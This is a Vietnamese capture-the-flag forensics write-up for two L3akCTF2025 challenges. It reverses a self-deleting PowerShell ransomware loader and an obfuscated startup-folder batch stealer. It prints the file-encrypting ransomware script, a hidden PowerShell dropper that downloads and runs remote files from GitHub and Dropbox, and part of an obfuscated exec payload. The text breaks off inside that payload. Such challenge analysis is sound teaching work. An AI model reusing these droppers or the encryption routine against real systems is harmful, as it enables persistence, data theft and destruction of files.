---
# System prepended metadata

title: L3akCTF2025 - Forencis - Part 1
tags: [L3akCTF2025]

---

# Ghost In The Dark
![image](https://hackmd.io/_uploads/HkiOLyf8ee.png)

File: [GhostInTheDark](https://drive.google.com/file/d/159AAFg__wcsTYocyRCiNcsCKbZyOhIas/view?usp=drive_link)

## Solution
Đây là 1 file Disk nên ta sẽ dùng [Autospy](https://www.autopsy.com/) để phân tích. Và khi mở nó lên bằng AutoSpy ta sẽ thấy có 4 file khá là sus
![image](https://hackmd.io/_uploads/B1wozxfUlg.png)
Nên ta sẽ dump nó ra ngoài để phân tích tiếp
đầu tiên là ransom_note
```text=
i didn't mean to encrypt them.
i was just trying to remember.

the key? maybe it's still somewhere in the dark.
the script? it was scared, so it disappeared too.

maybe you'll find me.
maybe you'll find yourself.

- vivi (or his ghost)
```
thì đọc sơ qua có lẽ `flag.enc` chính là file mình phải giải để ra được flag và nó đã bị encrypt.
`The key` có lẽ là thứ dùng để giải flag và ta phải tìm nó
`the script` nó có nói tới việc biến mất có thể nghĩa là bị xoá mất thì trong tất cả file chỉ có file loader.ps1 là bị xoá thì có lẽ nó chính là `the script`
Vậy thì ta sẽ bắt đầu phân tích `loader.ps1` trước
```ps
$key = [System.Text.Encoding]::UTF8.GetBytes("0123456789abcdef")
$iv  = [System.Text.Encoding]::UTF8.GetBytes("abcdef9876543210")

$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"

$enc = Get-Content "L:\payload.enc" -Raw
$bytes = [System.Convert]::FromBase64String($enc)
$decryptor = $AES.CreateDecryptor()
$plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$script = [System.Text.Encoding]::UTF8.GetString($plaintext)

Invoke-Expression $script

# Self-delete
Remove-Item $MyInvocation.MyCommand.Path
```
Tóm tắt lại thì nó đã Decrypt AES dữ liệu base64 từ trong `payload.enc`. Ta đã có `key` và `iv` và file `payload.enc` ta có được bằng Autospy thì giờ ta chỉ cần làm lại nó trên Cyberchief để coi nó là gì

![image](https://hackmd.io/_uploads/Bkx4Ulz8el.png)
```ps

$key = [System.Text.Encoding]::UTF8.GetBytes("m4yb3w3d0nt3x1st")
$iv  = [System.Text.Encoding]::UTF8.GetBytes("l1f31sf0rl1v1ng!")

$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"

# Load plaintext flag from C:\ (never written to L:\ in plaintext)
$flag = Get-Content "C:\Users\Blue\Desktop\StageRansomware\flag.txt" -Raw
$encryptor = $AES.CreateEncryptor()
$bytes = [System.Text.Encoding]::UTF8.GetBytes($flag)
$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[System.IO.File]::WriteAllBytes("L:\flag.enc", $cipher)

# Encrypt other files staged in D:\ (or L:\ if you're using L:\ now)
$files = Get-ChildItem "L:\" -File | Where-Object {
    $_.Name -notin @("ransom.ps1", "ransom_note.txt", "flag.enc", "payload.enc", "loader.ps1")
}

foreach ($file in $files) {
    $plaintext = Get-Content $file.FullName -Raw
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
    [System.IO.File]::WriteAllBytes("L:\$($file.BaseName).enc", $cipher)
    Remove-Item $file.FullName
}

# Write ransom note
$ransomNote = @"
i didn't mean to encrypt them.
i was just trying to remember.

the key? maybe it's still somewhere in the dark.
the script? it was scared, so it disappeared too.

maybe you'll find me.
maybe you'll find yourself.

- vivi (or his ghost)
"@
Set-Content "L:\ransom_note.txt" $ransomNote -Encoding UTF8

# Self-delete
Remove-Item $MyInvocation.MyCommand.Path
```
Tiếp theo dựa trên script mà nó chạy thì ta biết được cách nó Encrypt `flag.enc` là cũng dùng AES với
`key = m4yb3w3d0nt3x1st`
`iv = l1f31sf0rl1v1ng!`
vậy giờ ta chỉ cần Decrypt `flag.enc` với `key` và `iv` tìm được
![image](https://hackmd.io/_uploads/B1hevlGLgl.png)

**Flag: L3AK{d3let3d_but_n0t_f0rg0tt3n}**

# BOMbardino crocodile
![image](https://hackmd.io/_uploads/rkk5S7zIgl.png)
File: [BOMbardino crocodile](https://drive.google.com/file/d/1i8oVitzdK9RKbzbTrFgkw5ZjM7YU1SJx/view)

## Solution
Thì File của challenge sẽ có 2 file
1 là file: `Welcome to the Brotherhood... 2025-05-10T20_24_11+08_00.eml`
1 Folder: nó khá là giống 1 File dump ổ đĩa của ai đó

Đầu tiên ta check file mail trước
```text=
Greetings, Operative.

Your activity has not gone unnoticed. The time has come to proceed to the next level. Brotherhood protocols demand absolute discretion.

🕶️ As of 0400 hours, access has been provisioned.

📩 Secure your invite:
👉 https://discord.gg/a7SUtZXaP4

Inside you will find leaks of people dumb enough to click on our brainrot exam.

🔒 Reminder: Do NOT share this link. Operatives who leak will be exiled. Again.

Stay cloaked. Stay corrupt.
```
Thì ta có 1 link discord nên vào xem thử
![image](https://hackmd.io/_uploads/ry6ocXzLge.png)
Sẽ có 2 file là `pay2winflag.jpg.enc` và `passwords.zip`
thì file `passwords.zip` không có gì hết ... Còn file `pay2winflag.jpg.enc` có vẻ như nó đã bị **encrypt** vậy thì giờ ta thử tiếp tục điều tra Folder còn lại

![image](https://hackmd.io/_uploads/S1gRsXzLex.png)
Và sau 1 hồi tìm kiếm mình tìm thấy 1 thứ khá là hay ngay tại 
`C/Users/crustacean/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup`
là 1 file tên `WindownsSecure.bat`
và nó là 1 đoạn mã nhưng mà bị obfuscate
```ps
@echo off
set cb=

set ts= 
cls
set cv=
set ms=-
set gt=.
set ax=/
set nc=0
set bs=3
set tc=4
set ch=:
set wj=A
set rd=B
set ui=C
set jl=D
set vv=H
set hp=K
set cm=L
set rz=P
set kv=S
set ym=U
setlocal EnableDelayedExpansion
set uj=W
set dt=\
set up=_
set qx=a
set da=b
set qf=c
set bl=d
set ke=e
set fn=f
set jq=g
set ea=h
set lc=i
set ln=j
set wc=k
set nt=l
set zm=m
set pm=n
set hr=o
set xv=p
set bi=q
set ae=r
set eh=s
set og=t
set zk=u
set vf=v
set jm=w
set sf=x
set gp=y
set ny=z
set xe={

%ke%%qf%%ea%%hr%
%zm%%zk%%fn%%nt%%da%%vf%%gp%%ny%%ke%%ae%%og%%ln%%qf%%ae%%bl%%fn%%og%%jq%%eh%%nt%%pm%%ny%%qx%%eh%%bi%%zm%%gp%%pm%%wc%%zm%%jm%%gp%%bl%%ke%%hr%%fn%%qx%%pm%%bl%%xv%%nt%%vf%%zm%%gp%%ke%%nt%%lc%%jm%%wc%%ae%%bi%%pm%%vf%%ke%%da%%qf%%og%%nt%%ln%%zk%%jm%%vf%%ae%%ln%%bl%%pm%%ke%%hr%%qf%%gp%%wc%%pm%%hr%%bl%%ny%%nt%%gp%%sf%%bl%%gp%%og%%jq%%pm%%ny%%jm%%qx%%xv%%ny%%jq%%qx%%zk%%gp%%wc%%gp%%pm%%bi%%ny%%da%%zm%%gp%%ke%%gp%%ke%%nt%%og%%zm%%wc%%jm%%jq%%qx%%nt%%og%%pm%%zm%%wc%%eh%%qf%%bi%%ln%%vf%%gp%%zk%%da%%ln%%bl%%bi%%ny%%og%%lc%%zm%%wc%%da%%jq%%bi%%xv%%ea%%ea%%ea%%nt%%jq%%nt%%nt%%qx%%qf%%bl%%jq%%fn%%eh%%qf%%vf%%zk%%wc%%xv%%pm%%fn%%hr%%lc%%sf%%pm%%zk%%xv%%gp%%ea%%ae%%fn%%qf%%jm%%nt%%bi%%ae%%da%%hr%%vf%%da%%ke%%jq%%fn%%bl%%qf%%xv%%jm%%qx%%lc%%zk%%ae%%fn%%qx%%xv%%vf%%qf%%ae%%zm%%qf%%xv%%lc%%xv%%qf%%gp%%jq%%ke%%zm%%sf%%zm%%og%%lc%%xv%%sf%%qf%%qf%%sf%%ke%%nt%%wc%%da%%vf%%ke%%xv%%zm%%lc%%fn%%ln%%lc%%zk%%zm%%xv%%xv%%bl%%og%%vf%%nt%%hr%%nt%%jm%%lc%%jm%%qf%%ae%%nt%%jm%%gp%%bi%%ny%%jm%%bl%%ny%%da%%hr%%xv%%jq%%jm%%da%%sf%%ny%%ae%%gp%%vf%%sf%%ln%%ea%%ae%%bl%%pm%%jq%%og%%jq%%og%%ny%%ae%%ny%%hr%%jq%%fn%%vf%%fn%%lc%%ea%%eh%%zm%%hr%%zk%%jm%%bi%%qf%%zk%%sf%%lc%%jm%%qf%%bi%%hr%%ke%%og%%qf%%qf%%xv%%bl%%bl%%lc%%wc%%gp%%sf%%qx%%ea%%sf%%pm%%qx%%fn%%lc%%xv%%jq%%zk%%og%%qx%%ke%%bl%%ny%%vf%%da%%gp%%ea%%jq%%og%%nt%%hr%%og%%da%%nt%%hr%%eh%%zk%%bl%%qf%%bi%%gp%%sf%%vf%%ny%%lc%%eh%%sf%%fn%%ke%%ke%%sf%%pm%%ke%%eh%%xv%%zm%%vf%%vf%%lc%%lc%%ae%%lc%%vf%%ke%%bl%%bi%%wc%%xv%%jq%%vf%%ea%%gp%%qx%%ny%%sf%%nt%%fn%%sf%%og%%lc%%zk%%fn%%jq%%ea%%wc%%ke%%fn%%sf%%bl%%nt%%eh%%qx%%xv%%nt%%da%%gp%%og%%pm%%ae%%bi%%zk%%jq%%zk%%zm%%jq%%qf%%da%%bi%%qx%%nt%%jq%%wc%%gp%%qx%%xv%%ny%%ea%%hr%%ea%%ke%%ny%%pm%%gp%%jm%%ln%%bi%%lc%%pm%%da%%ea%%qf%%lc%%og%%qx%%zm%%ln%%ny%%bi%%qx%%vf%%da%%ke%%bi%%gp%%gp%%wc%%qx%%qf%%ae%%gp%%qx%%lc%%lc%%jm%%ke%%ny%%sf%%sf%%jq%%bi%%og%%gp%%ke%%bi%%og%%zm%%bl%%pm%%xv%%jq%%wc%%gp%%jq%%da%%nt%%bi%%ln%%sf%%nt%%ny%%da%%zk%%zm%%eh%%nt%%ln%%jm%%xv%%qx%%da%%ln%%ea%%gp%%qf%%da%%qf%%ke%%sf%%ke%%gp%%da%%ae%%xv%%eh%%ke%%qf%%eh%%jq%%bl%%ea%%lc%%bi%%pm%%ny%%lc%%jq%%vf%%xv%%lc%%wc%%ln%%pm%%qf%%ny%%xv%%zk%%ln%%wc%%wc%%qx%%vf%%zm%%zm%%vf%%zk%%ae%%bi%%jm%%wc%%ke%%hr%%nt%%jq%%qx%%xv%%gp%%ke%%vf%%wc%%qx%%lc%%hr%%zk%%bi%%lc%%lc%%ln%%zk%%lc%%fn%%pm%%hr%%ea%%zk%%wc%%bl%%ke%%eh%%jq%%bi%%sf%%ke%%fn%%bl%%sf%%da%%bl%%og%%bl%%lc%%xv%%pm%%ny%%ln%%wc%%qf%%qf%%qx%%zk%%qf%%da%%lc%%bi%%da%%ny%%sf%%qf%%ny%%fn%%lc%%qx%%pm%%eh%%jm%%nt%%nt%%jq%%sf%%fn%%wc%%da%%ny%%bi%%qx%%vf%%nt%%bi%%zm%%qf%%ny%%ny%%ln%%ln%%xv%%eh%%xv%%jm%%ae%%bl%%zm%%fn%%qx%%lc%%hr%%da%%jq%%ln%%ea%%sf%%jq%%eh%%jm%%fn%%jq%%sf%%ln%%lc%%ke%%nt%%hr%%og%%gp%%sf%%ae%%gp%%qx%%ny%%qf%%ae%%wc%%ea%%bi%%zm%%jq%%ae%%sf%%qf%%hr%%jm%%zk%%vf%%da%%zm%%qf%%qx%%sf%%jm%%da%%vf%%hr%%bi%%vf%%vf%%ae%%bi%%nt%%zm%%bi%%og%%zk%%wc%%pm%%pm%%pm%%wc%%vf%%ke%%fn%%hr%%zk%%eh%%fn%%ln%%fn%%ln%%qf%%lc%%ea%%bl%%qf%%da%%jm%%vf%%ln%%hr%%nt%%sf%%vf%%bi%%vf%%zk%%ln%%qx%%ae%%bi%%ke%%bl%%bl%%lc%%da%%jq%%ea%%sf%%vf%%og%%gp%%hr%%jm%%gp%%qx%%ea%%zk%%ln%%zm%%zm%%xv%%ln%%vf%%ae%%ea%%nt%%pm%%og%%ny%%lc%%ny%%jm%%jq%%qx%%jq%%zm%%jm%%ln%%sf%%vf%%eh%%eh%%bi%%xv%%bi%%ae%%ea%%ny%%da%%gp%%da%%zk%%xv%%bi%%ke%%sf%%vf%%xv%%zm%%vf%%qf%%qx%%ea%%nt%%ny%%pm%%sf%%hr%%ny%%da%%gp%%ny%%qx%%xv%%bi%%gp%%pm%%ea%%gp%%zm%%da%%hr%%pm%%gp%%ea%%bi%%ln%%bl%%zm%%zk%%nt%%og%%eh%%jq%%sf%%zm%%ea%%bi%%wc%%ln%%ny%%hr%%lc%%da%%vf%%lc%%og%%xv%%og%%vf%%zk%%fn%%og%%zk%%eh%%ea%%bi%%pm%%sf%%og%%ln%%vf%%zm%%eh%%jq%%ke%%ke%%zk%%da%%jm%%wc%%nt%%bl%%zk%%ln%%wc%%qf%%lc%%jm%%qf%%wc%%nt%%ny%%xv%%ae%%wc%%ke%%zm%%nt%%jq%%ny%%jm%%ke%%og%%qx%%ny%%da%%lc%%ea%%ny%%vf%%ln%%zm%%bi%%pm%%zm%%ny%%ke%%ln%%xv%%fn%%bl%%zm%%eh%%wc%%ln%%lc%%xv%%wc%%zk%%sf%%zm%%jm%%vf%%ae%%qx%%ny%%bi%%og%%bl%%ea%%ke%%ke%%hr%%qx%%gp%%hr%%bi%%pm%%xv%%hr%%ke%%zk%%da%%zm%%wc%%ke%%sf%%ea%%wc%%eh%%qx%%ea%%xv%%zm%%sf%%vf%%bl%%nt%%lc%%eh%%eh%%bl%%zk%%pm%%eh%%og%%og%%ae%%ln%%zk%%vf%%ea%%qx%%ny%%nt%%ke%%ea%%bi%%vf%%eh%%ea%%fn%%jm%%og%%nt%%ae%%jq%%xv%%qf%%eh%%ea%%bl%%ke%%bi%%bi%%og%%lc%%da%%fn%%ea%%ae%%zk%%da%%qx%%lc%%gp%%jm%%jq%%jm%%hr%%bl%%eh%%qx%%xv%%jm%%pm%%ke%%fn%%og%%vf%%da%%bl%%jq%%ln%%sf%%pm%%nt%%qf%%wc%%hr%%eh%%qf%%og%%da%%og%%ea%%zm%%eh%%lc%%sf%%ln%%da%%xv%%gp%%vf%%zk%%vf%%ln%%sf%%eh%%ae%%xv%%lc%%gp%%qf%%fn%%wc%%eh%%ny%%vf%%og%%ea%%qf%%bi%%ea%%pm%%nt%%ln%%bi%%ny%%da%%hr%%wc%%qf%%ae%%qf%%bl%%hr%%da%%gp%%xv%%eh%%bl%%da%%ln%%xv%%ae%%ny%%zk%%qf%%da%%eh%%zk%%bl%%sf%%ea%%jm%%hr%%lc%%sf%%jq%%pm%%qx%%da%%nt%%ny%%lc%%ea%%gp%%ln%%bl%%pm%%jq%%ea%%ny%%jm%%hr%%ke%%vf%%gp%%fn%%qx%%vf%%ny%%zk%%wc%%gp%%jq%%ke%%ea%%vf%%ke%%xv%%jq%%jq%%qf%%hr%%zm%%xv%%nt%%wc%%wc%%bi%%pm%%ke%%sf%%sf%%xv%%ke%%jq%%lc%%ae%%ln%%ny%%wc%%lc%%og%%vf%%bl%%qf%%lc%%sf%%nt%%jq%%wc%%vf%%ae%%ke%%sf%%vf%%ke%%fn%%ke%%hr%%ea%%sf%%og%%ea%%eh%%zk%%qf%%fn%%nt%%jm%%qx%%lc%%vf%%zk%%zk%%zk%%da%%bl%%da%%gp%%jm%%da%%eh%%fn%%zk%%bi%%hr%%eh%%jm%%bi%%bl%%bl%%zm%%ln%%ea%%ln%%ea%%lc%%zm%%da%%ny%%sf%%ke%%xv%%jq%%fn%%gp%%wc%%ke%%ae%%eh%%eh%%jm%%vf%%nt%%xv%%eh%%pm%%bi%%xv%%sf%%xv%...TOO MUCH
```
thì dựa trên cách nào obfuscate tui đã viết lại 1 script python 
```python=
encoded=""" """
import re

mapping={'cb':'','ts':'','cv':'"','ms':'-','gt':'.','ax':'/','nc':'0','bs':'3','tc':'4','ch':':','wj':'A','rd':'B','ui':'C','jl':'D','vv':'H','hp':'K','cm':'L','rz':'P','kv':'S','ym':'U','uj':'W','dt':'\\','up':'_','qx':'a','da':'b','qf':'c','bl':'d','ke':'e','fn':'f','jq':'g','ea':'h','lc':'i','ln':'j','wc':'k','nt':'l','zm':'m','pm':'n','hr':'o','xv':'p','bi':'q','ae':'r','eh':'s','og':'t','zk':'u','vf':'v','jm':'w','sf':'x','gp':'y','ny':'z','xe':'{'}

matches = re.findall(r'%(\w+)%', encoded)
decoded = ''.join([mapping.get(m, '?') for m in matches])
print(decoded)
```
Và ... nó vẫn có khá nhiều rác nhưng ta biết được format của bài là L3AK{} nên xài ctrl F và tìm thì có được
`L3AK{Br40d0_st34L3r`
thì đây chính là part 1 của flag
Và tiếp tục tìm tiếp thì mình phát hiện 1 file

![image](https://hackmd.io/_uploads/S1SnrEz8ge.png)
```ps
start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/bluecrustacean/oceanman/raw/main/ud.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/uuhwziczwa79d6r8erdid/T602.zip?rlkey=fq4lptuz5tvw2qjydfwj9k0ym&st=mtz77hlx&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 60; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\leak.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" && exit
```
Thì đoạn code nó sẽ Down 1 file Document về ở thư mục
`C:/Users/Public/`
Và tiếp theo nó sẽ chạy leak.py bằng 1 chương trình `python.exe`
```ps
C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\leak.py
```
![image](https://hackmd.io/_uploads/B1eRwNMIlx.png)
Trước tiên thì `python.exe` có vẻ như là 1 chương trình python tự build để chạy python. Nếu ví dụ đây là 1 cuộc tấn công thì có vẻ nó cố tình làm vậy để có thể chạy `leak.py` vì nó là python và có thể 1 số máy tính nạn nhận không có sẵn python thì không chạy được nên nó làm vậy

Tiếp theo là `leak.py` thì nó lại là 1 đoạn rác ....
![image](https://hackmd.io/_uploads/SyNC_NfUgl.png)
có vẻ ta lại phải tìm giữa đống này
thì giữa đống đoạn đó có 1 khúc này
```python=
_ = lambda __ : __import__('base64').b64decode(__[::-1]);exec((_)(b'=kSKnoFWoxWW5d2bYl3avlVajlDUWZETjdkTwZVMs9mUyoUYiRkThRWbodlWYlUNWFDZ3RFbkBVVXJ1RXtmVPJVMKR1Vsp1Vj1mUZRFbOFmYGRGMW1GeoJVMadlVYxmbSJjThN2RxMFVF9WeZRlTr1UMSllUtBHWZVlSxV1aW9UTWplcX1WNYRmM0VUWxI0UhFjShVlaKdlTHdGeWxGbHZ1a180VrpFakBjWzZ1a5cUTWJ1VXxmVPd1RSJnVxgWYiVUMM90VxUlVYJkVWJjRwImVONjWHhXaRJjU1Z1MjBTYwUTYTtmUqRleGJXVrRWYSZkWaVVbxUVYIJFSUhFaqJFbkNjTWZVVWxGcWZFbVFjUyYEeWpmSoVmRGVlVWNWMWZlVoJVbwNlVxo1cUdlRTFGbah1YFZlVUFDczZFbO9kVslFeTZFaWVGWkRnVth2ShxWV4ZFVGdVZFx2VWVkWHZ1ROZlVsp1TTdkUzVFbKdnYsZlWR1WNVdFSoRXV6J0aWxmWyR2RxYlUxA3VUZFa0ImVkdnVtFTaiFDcWZ1MK9WTt50cldUMYVlRwdUWsR2SWxGcaJFbaxWWWpkcWFDaLJmVKJnUsJ1VWFDcHl1a1clVVFDSWtmWOJ2aaVlVuhmWSZlVwd1aWhmVxA3RW5mTLJGbkdlVuB3aXZEcWZFVSFWTWl1dhVEZXV2asZlVxoFMWFjW0I1Vx4kVzIlVW5mUTdlRaNXVthnUSFzb4lFVGpnVWZ1MjFDZPVVbSdUWsp1SidkSTp1R1clUxo1VUxmT0ImVkNFVspVaNZUS3ZFWsJ1UH5UVVtmWpdFRGZVWsNWMiZFbzM1V4hGVsp1cVpnRqJ2RKhFVtVjWXhUQ3lFbkBjUxA3dSpmSoNFMKllVzAndNZlTw10VxU1UFVzVZ5mTHJmVsRzVWZ1aXpmV0VVV49UTWpEUOZFZWZlaWJXVyY0QhxmSGRlaGdVYwAnVXZVW4FGMxglVrpVYTFTW5l1VG9WTGZlWWxmWPZFMwVVVq50RS1mS2JFbkpFZHhGWWFTW4JVMwRFVqZ0UUBTNJZlbKNlUyoEcW1GdUJVV0gnVtR3SWZFbX5EVCt2VrBXRZ5mQT1UbFhnVWhGWXZlWHRVbsFmUt5ENTVFZTNlM4d0VrR2dSxmToFWRWpWZqZkcUVVO3JmVWlXVqpEahZEcyVVMkNnVtpkdkZkVVVWRGVHVWJFMSJjRYJGRG5UUxAXVWxGaXFGbOVlVrZ1al1mUzlVV5MnUxAHSjVkWrd1a1EnVrhDehBTMM5kVkZlVqZlcVJjRDFGbKZEVqZ0VhBDcWdlVZFTTHJVYR1GcVNmaWJXVrR3VTZkWKFlaOZVYXJ1cWhEb2JFbKB1YGRWYj5mQHVVMwtUYsJVST1GeOVleshlVu5UYW1mRvZlaClmTtJ1cZ1mRw0kRWh0VthHah1GaGlVMOtUTtZkeiRkQWV2Vkl1VVVzShxmTzclValWZHlDSXxmWDFWbWFWTVRWYRBjWHRFWNFjVxY1VOdFdUlVVKFXVuR2RNVVMENmRkZVZUF1dadEcrZVV18kVrRWaTFjSZZ1MwZXTXZ0TT1GcV10arhXWXR3dWFDZzIGMaRVWXJlRZZlUh1kVax0TUpkVjRlVWd1V0BjUy40SXpmRXRlMSl1Vu5UYWdlUVZ1aahGVVBHdV5mW3dlRkFzUqZ0VhdlUzZFSoJlUspFUidUMYRWMsZUVsJ1aSxGcEJ1aa50Y6ZFWWZFa0IVMKFnWHRXVNdlTHZVMktmYGx2VhZEarVlaGhFVtlzUNxmWQFGRGd1VUZlVXdFbrJmRNp3YEZ0UNRlUyZlRadnUs5UYT1GcVNVRwNHVW1UNWFjW6dFbahWYGl1dZpmWrJ2RKhGZEJkVSFDczl1Vw9mUX5EVTpmSoNmM3dnVYxmbXZEbPNVbwRFZxw2VZ5Ga2JVMwdVUtBHbXpmRId1aOdkUrFjeOZFZWZlaWJXVyY0QhxmSzIlaG5UUzIEWXxGZD1EMxEnWGZlTUt2b5l1VG9mVWRGMRxmUOZFMwVVVqp1TS1mSUVmRkplUuJkVVFDarJ1VGVlWHh3UjFDcWZlRkNlYWR2caZkWW50V4NXWu50ThFjV6p1Rx4kVWp0cVVFeX1EbaZXVqZ0VjdFeWRFbktUYs5kNUxmWp1EVCZ1VuZENSFjTVpVRaFWUwo1RUhVTxYVMWdlTXRHVZVFcVR1MWNlYHZFWkRkQWNVRwNXWsp0ViZkUMN2R45kTUJFWWhFcKFmMONnVrplalREaGZ1a0dXTsxmVXxmWPdlaGhEVYhmWiVUMI1kVkVlVxoEWXVVNXZVV1E2YFpFWkFjSxZlbOBTTtJFVkVEZhZlRKhVVtZ0UXZEZ1UlVS9UYXJ1cWZkTX1EbJBTUthnVTVEcHlVMwtkVFlDWT1GeONlMRpnVuJ1UXZkUvFlbwlmTth3VZ52Y10kRal0VtRnaUxGczZ1Vo9kYVBDMVpmTXR2R4FnVXx2aiZkT2UFbalWTUF0dXhFa2JVbSFmTXFzVTVEczRVVkd0VGZVeORlQoFGbaZlV6Z1dNZlS2RFbWZFZzQGdZxmSrJVbKZ0YFplTSFTS3ZlVoNlYXJ1VWtmWrVGbJhXWXlzcWFDbIFVb1clVthmcVh1b4J1VKp3VtBnVjhlQWZlMsdlUX5UYjVkWUR2aaFnVuhmQi1mSyFVbwVVVExmcWtGZXdlRkBTYE5kVhdlUzVleOdUTXZEUNdFdaZlbCZUVsZ1bhFDZvNlaKd1UyEleWZEZ3ZVbGB3VsZFVO1GezplVjVTTGZ1RVpmTORFbwd0Vup0RidlVYFFbohFZYFEeWd0a4JmVKFjUsp1VUNjQyZ1MkplUWpUVaVkWhFFMahlVrVzSlxmWXVVbxQlYIJFdWBDbPJFbkR0YGRmVkJDdFRlVodlUsBXeNRlQXVVMKdlVrh2UWVUMYNVbwNVZUxmRWtGd3JFbwh1YFpFVWdEazZFSGdVTspFVWxGaWZlaWZlVHx2dWFTVxI2R4lGZyIVdXZlWvJ2axkVTWRmTjVUNIVlbOtmVsRGMhRkTWR1awVlVIhmUNdlR2JmRaplUzIkVWFDaXZFbZBzVsplTjFjWxZFMWdnVXZ0cW1GeUN1RSdUVtVUMWZlUHFFbo9UYHJlRZ5mQLZVMKt0YGhGWkZkS0lFbOtUYsVlejZkWTJ2MCJnVzQmWSZlSVZ1aatWUwo1RUhVTxYVMWlVZFR2UhxGcyVFbstmVtpUehdUNXVGRohFVspVYSxGcvJ1akdlUycGeW5mUzFGbWBnWHhHVlxmSXllaFdXTGxGNiBjWrdlaWRnVrh2SiVUMIJFboZ1YqV1dZdFcXZlVjFzYEZ0UiBTNWZFWkNjYXp0UaVkWpJFWCdEVVR2UNZkVZVVbxsmVsp1RahEcT10VGZnYGRmWSBjS1ZFbatWTHJFNXdFeOJ1MCVnVGR2USJjRoR1aSFmVXJ1RVtmT3FWMWdkUrJ1ThVVNFlVMstUTspEVhRkRXdVVJpnVGhWYSdlTz00R0dVVwoFWWZEbvJVMklVVthHVSVkWHRFVSN0UGpVWWxmUoF2VoZlVUZ1cS1mSYRmRWdVZFt2dZBTNhJFbwhWVqp0ViFTS3ZlbVFTTGpFWT1GcT1ERsZlVtZ0RWFDbzIGMatmVXJlRaZEaLJmVapXUtB3VjxmS0VlMGNUYspkRUxmWX1URwllVuhmQitWNzd1aWFWWVB3caVFZX1kVaFzVqZkaVBDcxV1MopkVxokcjRkQa50avdXVsVVMSJjSEdFbaNFZwwmNXhFZ2JVbKJnTVRGaNdkUHZlMGBTTGpFSTpmQqZ1MShUWYJ0RiZlSzIGRCZ1VUZlcVFjWLZlRZp3Uqp0UldUOYZlRadlUGRWWldUMWJVRaNHVWR2SWZEcJJVbwhVYzIFSZNDcPJFbap3Vth3VldFO3l1a5clUsBnTSpmSOJmMnhnVuZ1SWZFbPVWRkhWZWp1RZ1Gd3JFbwh1VrZFWXRUR5lFVSFmVrFzMOZFZWZlaWJXVyY0SWVUOURVb45kTEt2dWVFa310RKlVZHFzVVtGcIVFbk9mVsRmWNZlVOZFMwFXVuZ1UiVVM6NGRCVlVspVVWJjRrJVbWNTTGZVaWpnV0dFWopkUtpEchdEdWV2V4dVWrVzbXZkU14ERCpWVuhGSZhVT4JlVORlYEJkVWhlQzZFbOtkVGJFNWZlWp50R4hlV6pVYWdlUhR1aSp2VEZkcUZ1YxImVsVTUXVDahZlWWRFbwFmVtpkejdEeXVWRrdXWxQGMSJjR3JVbxMFZyc3dWZ1axEWMOd1UtB3VlxmSYVFbkdnVWBHMS1GesdlaFlXWzgmWiVUMIJGRGZ1Y6ZlVWdFbTFWMKplWFpFWWpHbYZFWoJkYtZFWlVEZhJGMwhkVu50aNZkWwUlaONVYWp1RahFbhZVbKRjYwoVYSNjQHVVMStmUsBHRStmWON2MoZ1VYdGMSZlUwJVbwd1VYJ0RVBTOwEWMsdVYGh2TVZkWHdlbCNVTtVEeTVFaXNlRJpXVwUzShxmT0U1aalmYygGWXRlWhZ1VOFGVtBHWNRkQWl1a0d0VGZVeOZlVVF2RSdFV6pkcNVVMQRVb1cVZI1UeaZEZwIVMw92YGplTWJDaWZVMWtUTGZ0cadEeV1kVvhnVuhmdiZFbJFWRkRlVHh2cWZkThZ1axIjWFh2VjFjS0ZlM4FmYG50SjRkRX5UR1Y1VsdWMNdkSoZ1aWh2UwoFdVtGdz1kValVVq5kUidkUzZFRFhXYxokchZEZVJFbaVkVxA3UiZkTFZFba5kUwoUWWVEaDd1RGJXTVRGbThlQHVlM09kYsxWWOZlVqZFWohUWXh2RSBTMMV1aWd1UIFVeaZEahJ1VONzUWpValdEdYZVRaNVYtZVYNZFZQRGMxcVVu50QlxmUZJVbwhWYWp1cVFjVrJFbaRkWHRnVldUOGlVMoFmUsB3UTtGZUJmMoJnVww2SNZkVVZ1aWtWZWB3VZ5Ga2JFbwh0YHhnaWdlUGpVR3hXYwEDTStGaXNmMohUWXh2QhxmTWZlaGNVYwA3cW5GaCN1RO90VrpVYhhkQHRVVkNVTGZVWV1WMrlVVKFnVE50TiZkWQ10Vxo1UVB3VVFjUTJmRkBlWHh3UkJjUJd1aWdnVXZkckZEZPNVV0gnVqJkRhxmW1c1V09kVYhGSZdFaHJ2VGpXVshGWlxWR5V1VotmYGJVNUZlWp10V5QnVYp0QTdkTZ1kVkBVVwAHWZtGdr1UMWlXYHFDaZVlSxV1aW9UTWplcTxmVWR2MkRXWsp0aS1mSG5UVWlmVyc2dWZFbD1UMKRVUrJValREayZVb09mVxI1RjZkVYdFRGhUWzo1aiZkSM5kVkdlVthGdZdFbXZVV1o0YEZ0VOVUNWZFWkNjYXp0UaVkWpJVVvlXWVR2bNZkWZR1akxWYUZEWW5GcG10VGJ3YHhHWlVFbHlVMnhXTstmeTxmWTN2aKZjVGp1UWJjRvV1aalWTHh3cUdFdLZlVWNDZyETaVxmWzZVR0dnUrFDSVpmQWdlRKRXVWp0QSdkSxIFbadFVzIkcWNDbyFWbKZFVrJlakBza5Z1aw92VGxmRjdEdYlFWCVnVWx2cNZlWydlaO